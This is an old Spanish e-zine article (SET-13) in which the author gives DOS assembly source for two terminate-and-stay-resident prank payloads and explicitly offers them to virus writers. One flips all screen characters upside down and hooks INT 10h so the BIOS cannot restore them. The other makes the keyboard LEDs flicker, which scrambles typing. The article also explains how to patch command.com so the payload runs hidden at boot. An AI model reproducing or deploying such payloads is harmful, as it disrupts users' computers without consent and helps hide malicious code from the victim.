-[ 0x0E ]-------------------------------------------------------------------- -[ JUGANDO CON ENSAMBLADOR ]------------------------------------------------- -[ by Tzalik ]--------------------------------------------------------SET-13- Buenas a todos los interesados en la programacion de bajo nivel. Resulta que desde hace algun tiempo llevo comiendome el tarro por conocer un poco mas a fondo las tripas del PC, y espero que a alguien le interese el fruto de mis raciocinios. Lo que aqui os dejo son algunas ideas que se pueden aplicar a los que desarrollan virus, con fuente adjunta claro ;), la teoria esta bien pero la practica esta mucho mejor. Asi que vamos al grano. Lo primero que os voy a contar es como hacer un programa que produzca la inversion de los caracteres de la pantalla en modo texto del PC, y lo mejor es que se queda residente y que por mucho que hagais "mode 80" o por mucho intenteis llamar a servicios del BIOS para que lo restauren esto no ocurrira. El desafortunado usuario tendra que conformarse con dar la vuelta al monitor o rebotar para que el efecto desaparezca. Por supuesto si sois lo suficiente- habiles con la VGA podeis arreglarlo tocando directamente los registros, pero creo que eso no lo suele hacer mucha gente (me incluyo en el grupo :( ). Asi mismo la idea no solo sirve para invertir los caracteres si no para cambiar la fuente de caracteres como os de la gana, para este ejemplo he decidido que lo de invertir seria muy didactico y muy..... artistico. ;> El quid de la cuestion esta en un servicio del BIOS de video que sirve para cargar las fuentes de los caracteres que la VGA mostrara por pantalla he probado esto en MCGA y parece que no tira, pero en VGAs y superiores hasta ahora me ha funcionado. Destripado el servicio es este: INT 10h AH = 11h Servicio generador de caracteres AL = 00h Subservicio cargar fuente de usuario ES:BP = Puntero a la tabla de caracteres DX = Caracter a cambiar BL = Bloque de fuente a cargar BH = Bytes por caracter CX = Numero de caracteres a cambiar a partir del primero El contenido de AX es fijo para hacer esto, 1100h, en ES:BP tenemos un puntero a la tabla que contiene la definicion de los caracteres. Esta tabla es muy simple. Cada caracter, dependiendo del tamanyo de la fuente, se define por una secuencia de bytes, en 8*16 que es el modo habitual con 16 bytes. 7 6 5 4 3 2 1 0 Byte 0 . . . * . . . . 10h Byte 1 . . * * * . . . 38h Byte 2 . * * . * * . . 6Ch Byte 3 * * . . . * * . C6h Byte 4 * * . . . * * . C6h Byte 5 * * . . . * * . C6h Byte 6 * * * * * * * . FEh Byte 7 * * * * * * * . FEh Byte 8 * * . . . * * . C6h Byte 9 * * . . . * * . C6h Byte A * * . . . * * . C6h Byte B * * . . . * * . C6h Byte C * * . . . * * . C6h Byte E * * . . . * * . C6h Byte F . . . . . . . . 00h Asi que esta tabla tiene la definicion de los caracteres uno detras de otro. En DX tenemos que poner el caracter a cambiar, por ejemplo si queremos empezar a cambiar caracteres a partir de 'a' aqui habria que poner 97. El contenido de BL no lo pillo, yo pongo 00h y todo funciona bien. En BH decimos los bytes por caracter de la tabla, como antes en 8*16 son 16 bytes. Y en CX decimos cuantos caracteres queremos modificar a partir del primero que decimos en DX. Una vez tienes la secuencia que define a cada caracter no hay mas que invertir el orden de los bytes y llamar a este servicio para que un incordiante caracter invertido adorne la pantalla!!. Aqui teneis el codigo de una funcion en ASM que modifica un solo caracter. ;-Set_char------------------------------------------------------------------- ;Redefine un caracter ;Entrada: DX=numero ASCII del caracter ; ES:BP=Tabla de 16 bytes con la redefinicion del caracter set_char: PUSH AX ;Salvamos registros PUSH BX PUSH CX MOV AX,1100H ;Llamamos a la INT 10 MOV BX,1000H ;establecer el caracter MOV CX,0001H ;especificado en DX INT 10H POP CX ;Restauramos registros POP BX POP AX RET ;---------------------------------------------------------------------------- Hasta aqui todo bien, pero falta algo. Hay que tener una forma de obtener la secuencia original de bytes para poder invertirla. Para esto tenemos otro servicio del BIOS de video que nos ayuda. INT 10h AX = 1130h Obtener informacion de tipos BH = Tipo de fuente Lo unico que hay que tener en cuenta aqui es hacer la llamada con BH = 06h para tipos 8*16. Despues de esto obtendremos en ES:BP un puntero de donde leer la tabla. Si queremos obtener la secuencia del byte i saltamos i*16 bytes y ahi la tenemos. Para que se vea bien esto aqui esta un ejemplo, es una funcion que retorna un puntero a la secuencia de bytes de un caracter. ;-Get_char------------------------------------------------------------------- ;Obtiene la definicion ROM 8*16 ;Entrada: DX=numero ASCII del caracter ;Salida: ES:BP=Tabla de 16 bytes con la definicion ROM del caracter get_char: PUSH AX ;Salvamos registros PUSH BX PUSH DX MOV AX,1130H ;INT 10h para obtener MOV BX,0600H ;para obtener en ES:BP INT 10H ;la tabla de tipos ROM 8*16 POP DX ;la INT 10 cambia DX PUSH DX MOV AX,0010H MUL DX ;Ponemos en BP el offset ADD BP,AX ;del caracter que esta en DX POP DX POP BX ;Restauramos registros POP AX RET ;---------------------------------------------------------------------------- Una vez hecho esto solo hay que invertir la secuencia de bytes y llamar a set_char(). Para invertir la secuencia de bytes no hay que alterar la memoria que get_char() nos retorna. Copiamos la secuencia en otra parte y ahi la cambiamos. Como por ejemplo lo que hace esta rutina. ;-Invierte_caracter---------------------------------------------------------- ;Entrada: ES:BP=Caracter original 8*16 ;Salida: ES:BP=Caracter modificado 8*16 caracter: DB '--','--','--','--', '--','--','--','--' DB '--','--','--','--', '--','--','--','--' invierte_caracter: PUSH AX ;salvamos registros PUSH CX PUSH DI PUSH SI MOV SI,BP ;bucle de inversion LEA DI,[15+caracter] ;del orden de los bytes MOV CX,0000H bucle1: MOV AH,BYTE PTR ES:[SI] MOV BYTE PTR CS:[DI],AH INC CX INC SI DEC DI CMP CX,0010H JL bucle1 PUSH CS ;hacemos ES:BP apuntar POP ES ;al caracter modificado LEA BP,[caracter] POP SI ;salvamos registros POP DI POP CX POP AX RET ;---------------------------------------------------------------------------- Una vez que hemos llegado hasta aqui solo hay que invertir los 256 caracteres para la sorpresa del incauto usuario, via esta rutina de abajo. ;-Invierte_256_caracteres---------------------------------------------------- ;Entrada: ninguna ;Salida: ninguna invierte_256_caracteres: PUSH ES ;salvamos los registros PUSH BP PUSH DX MOV DX,0000H ;bucle de inversion del bucle2: CALL get_char ;juego de 256 caracteres CALL invierte_caracter CALL set_char INC DX CMP DX,00FFH JL bucle2 POP DX ;salvamos registros POP BP POP ES ;---------------------------------------------------------------------------- Y yas ta!! Despues de esto aunque solo esten dados la vuelta parecera que es una jerga de otro planeta. Se puede mejorar el efecto anyadiendo toques aleatorios, no cambiar todos sino algunos, hacer una inversion de los bytes algo mas peculiar,... Lo malo de esto es lo facil que es restaurar la pantalla por metodos tradicionales. Una llamada a INT 10h AH=00h para establecer el modo de video estropeara todo, y claro el servicio 1100h de INT 10h tambien. Asi que lo mejor es redireccionar los servicios 00h y 1100h (tambien 1110h porque tambien sirve para cambiar los caracteres) para que no hagan nada. Aqui va la forma de redireccionar estos servicios de INT 10h. Esta rutina hay que llamarla a la etiqueta 'redirec10'. ;-Redirec10------------------------------------------------------------------ ;Esta rutina produce la redireccion de la INT 10h ;y anula los servicios 00h, 1100h y 1110h. ;Entrada: ninguna ;Salida: ninguna ;.Rutina de redireccion de INT 10h........................................... rutina10: CMP AH,00H ;if( AH==0x00 ) iret JE salir10 CMP AX,1100H ;if( AX==0x1100 ) iret JE salir10 CMP AX,1110H ;if( AH==0x1110 ) iret JE salir10 JMP salto10 salir10: IRET salto10: NOP ;Estos NOPs son para guardar desplaz10: NOP ;despues un salto a la INT NOP ;original. segmento10: NOP NOP ;............................................................................ redirec10: PUSH AX ;salvamos registros PUSH BX PUSH DX PUSH DS PUSH ES PUSH BP ;Guardar vector de interrupcion original MOV BYTE PTR CS:[salto10],0EAH ;codificacion de salto lejano MOV AX,0000H ;guardamos vector de interrupcion MOV ES,AX ;arriba MOV BP,0040H ;ES:[BP]=puntero a vector INT 10h MOV DX,WORD PTR ES:[BP] ;DS:DX=vector de INT 10h MOV DS,WORD PTR ES:[BP+2] MOV WORD PTR CS:[desplaz10],DX MOV WORD PTR CS:[segmento10],DS ;Modificar vector de interrupcion para que ;apunte a la etiqueta 'rutina10' PUSH CS ;poner nuevo vector INT 10H POP DS ;DS:DX=nuevo vector de INT 10h LEA AX,rutina10 ;ES:[BP]=puntero a vector INT 10h MOV DX,AX MOV AX,0000H MOV ES,AX MOV BP,0040H CLI MOV WORD PTR ES:[BP],DX MOV WORD PTR ES:[BP+2],DS STI POP BP ;restauramos registros POP ES POP DS POP DX POP BX POP AX RET ;---------------------------------------------------------------------------- Y con esto se acaba esto de hacer arte en las fuentes de caracteres. No habra nada mas que hacer un programita que llame a invierte_256_caracteres() primero y a redirec10() despues para tener la fuente completa. Si el orden de llamadas se hace en sentido inverso no ocurrira nada puesto que el servicio 1100h de INT 10h habra sido deshabilitado. Un detalle importante es que EL PROGRAMA SE TIENE QUE QUEDAR RESIDENTE, si no el espacio en donde esta la rutina de redireccion de INT 10h se sobreescribira y el PC inevitablemente te dejara mas tirado que una colilla cuando alguien llame a INT 10h. Que como rayos lo dejas residente?? Pos mira aqui. ;-PROGRAMA PARA DAR LA VUELTA A LOS CARACTERES ORG 0100h JMP inicio ; ; Aqui pondrias el codigo de redirec10() ; finalres: inicio: CALL invierte_256_caracteres CALL redirec10 LEA DX,finalres ;Terminar el programa INT 27H ;quedandonos residentes ; ; El resto de las rutinas pueden ir aqui abajo ; Como ya he dicho antes esto es versatil, incluso se puede hacer que aleatoriamente cada caracter mire hacia cada uno de los cuatro vientos. Pero esas cosas mejor ya en C, menos trabajo!! ;) Antes de terminar dejo aqui otra idea. Se trata de hacer que los LEDs del teclado se pongan a bailar. En este hacia izquierda, derecha y otros movimientos mas. La teoria es muy sencilla. Se trata de escribir en un byte de la memoria perteneciente al area de datos del BIOS, que ademas de servir para leer el estado de estos se puede usar para pegarles un chute. Este byte es el que esta en 0040:0017h y su contenido es este: 7 6 5 4 3 2 1 0 x . . . . . . . Insert locked . x . . . . . . Caps Lock locked -------> . . x . . . . . Num Lock locked -------> LEDs . . . x . . . . Scroll Lock locked -------> . . . . x . . . Alt key pressed . . . . . x . . Ctrl key pressed . . . . . . x . Left Shift pressed . . . . . . . x Right Shift pressed Los bits que hay que tocar son los que estan indicados, esos son los que se corresponden con los LEDs del teclado. El programa utiliza la interrupcion 1Ch para modificar los LEDs periodicamente. Pero como INT 1Ch se produce cada 1/18.2 seg el baile sale a toda ostia como para poder apreciar su belleza, asi que mediante las variables 'time' y 'count2' ralentizamos. La variable 'contador' es un puntero a la tabla 'sequence', la cual contiene los bits del baile. Y claro tambien se queda residente, si no no tendria gracia ponerlo en el autoexec. Por cierto que el teclado se ve afectado y al pulsar una tecla, no se repiten las pulsaciones y se alternan las mayusculas y minusculas (porque el estado de Caps Lock cambia continuamente), pero si se trata de joder.... }:->. Y si con un editor HEX abris en canal al command.com, buscais la cadena "AUTOEXEC.BAT" y la cambiais, el fichero que se ejecute en el arranque ya no sera ese y si en ese otro fichero meteis el programita de los caracteres y este se volveran un rato locos hasta que alguien de el en clavo. Aunque supongo que ya se os habria ocurrido. Aqui esta la fuente de los LEDs: ;--------------------- Leds bailando version residente ---------------------- ; (version residente en la interrupcion 1Ch) ORG 100H JMP instalar ; ;------------------------ Rutina a dejar residente -------------------------- ;............................. Zona de datos ................................. count: DB 0FFH count2: DB 00H time: DB 03H sequence: DB 00100000B ;Esta tabla es el baile de los LEDs DB 01100000B DB 01010000B DB 01010000B DB 01100000B DB 01000000B DB 00110000B DB 01010000B DB 01110000B DB 01110000B ;............................................................................ inicio: ;salvar registros PUSH AX PUSH BX PUSH ES ;vemos si estamos en la primera vez count==0xFF CMP BYTE PTR CS:[count],0FFH ;CS:[count]==0xFF? JNZ no_inicia ;si no no hagas nada MOV AX,0040h ;ponemos en ES el segmento MOV ES,AX ;del area de datos BIOS AND BYTE PTR ES:[0017H],10001111B;iniciamos los leds MOV BYTE PTR CS:[count],00H no_inicia: ;vemos si el contador de espera nos permite actuar INC BYTE PTR CS:[count2] MOV AL,BYTE PTR CS:[time] CMP AL,BYTE PTR CS:[count2] JNZ no_actuar MOV BYTE PTR CS:[count2],00H ;Activamos los leds segun el byte CS:[sequence][CS:[count]] MOV AX,0040h ;ponemos en ES el segmento MOV ES,AX ;del area de datos BIOS MOV BH,0000H ;ponemos el contador en BX MOV BL,BYTE PTR CS:[count] MOV AH,BYTE PTR CS:[BX+sequence] ;ponemos el byte en AH XOR BYTE PTR ES:[0017H],AH ;activamos los leds ;incrementamos el contador y si se pasa de 9 lo hacemos 0 INC BYTE PTR CS:[count] CMP BYTE PTR CS:[count],09H JLE no_se_pasa MOV BYTE PTR CS:[count],00H no_se_pasa: no_actuar: ;salvar registros POP ES POP BX POP AX salto: NOP desplaz: NOP NOP segmento: NOP NOP finalres: NOP ;---------------------------------------------------------------------------- instalar: MOV AX,351CH ;obtener vector de la INT 1CH INT 21H MOV BYTE PTR [salto],0EAH ;situar arriba MOV WORD PTR [segmento],ES ;JMP segmento:desplaz MOV WORD PTR [desplaz],BX PUSH CS ;poner nuevo vector INT 1CH; POP DS LEA AX,inicio MOV DX,AX MOV AX,251CH INT 21H LEA DX,finalres INT 27H ;terminar quedar residente Bueno y ya acabo, espero que esto os sirva para dar ideas a los que se dedican a desarrolar virus, virus que te alegren el dia, seamos civilizados, a nadie le hace gracia que le machaquen el disco duro!!. Ke os vaya bonito. Tzalik. [[[ Å¡Alguien ha visto por ahi un virus que convierta el PC en una N64? Pues a mi me gustaria verlo. - RTFirefly ]]]